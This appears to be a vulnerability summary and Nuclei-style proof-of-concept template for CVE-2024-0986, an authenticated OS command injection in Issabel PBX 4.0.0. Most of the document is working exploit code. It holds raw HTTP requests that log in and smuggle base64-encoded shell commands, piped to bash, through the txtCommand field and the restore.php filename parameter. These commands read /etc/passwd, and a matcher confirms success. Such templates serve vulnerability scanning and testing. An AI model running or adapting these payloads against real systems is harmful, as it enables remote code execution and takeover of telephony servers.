A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asterisk_cli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252251. NOTE- The vendor was contacted early about this disclosure but did not respond in any way.
PoC
id: CVE-2024-0986
info:
name: Issabel Authenticated - Remote Code Execution
author: eunji
severity: medium
description: |
A vulnerability was found in Issabel PBX 4.0.0. It has been rated as critical. This issue affects some unknown processing of the file /index.php?menu=asterisk_cli of the component Asterisk-Cli. The manipulation of the argument Command leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252251. NOTE- The vendor was contacted early about this disclosure but did not respond in any way.
impact: |
Authenticated administrators can inject and execute arbitrary OS commands remotely via the Asterisk CLI, potentially gaining full control over the Issabel PBX system.
remediation: |
Update Issabel PBX to a version newer than 4.0.0 that addresses this command injection vulnerability.
reference:
- https://github.com/issabel-org/issabel/issues
- https://vuldb.com/?ctiid.252251
- https://vuldb.com/?id.252251
- https://www.vicarius.io/vsociety/posts/issabel-authenticated-remote-code-execution-cve-2024-0986
- https://nvd.nist.gov/vuln/detail/CVE-2024-0986
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
cvss-score: 4.7
cve-id: CVE-2024-0986
cwe-id: CWE-78
epss-score: 0.58153
epss-percentile: 0.99045
cpe: cpe:2.3:a:issabel:pbx:4.0.0:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: issabel
product: pbx
fofa-query: title="issabel"
tags: cve,cve2024,isssabel,authenticated,rce,asterisk,vuln
variables:
username: "{{username}}"
password: "{{password}}"
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
input_user={{username}}&input_pass={{password}}&submit_login=
- |
POST /index.php?menu=asterisk_cli HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
txtCommand=xmldoc+dump+%2Fvar%2Fwww%2Fbackup%2Fx%7C%7Becho%2CY2F0IC4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q%3D%7D%7C%7Bbase64%2C-d%7D%7Cbash
- |
GET /modules/backup_restore/restore.php?filename=x%7C%7Becho,Y2F0IC4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2Q=%7D%7C%7Bbase64,-d%7D%7Cbash HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body_3
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100c7fab49abcd6b5a8fc3a9afcbb992f3275809fb64ba6c1f321c9873e7091e71d022100c139c4744996e92f9b52afe34de98529c512c7250a2b8abe0c8ce394620ae65c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.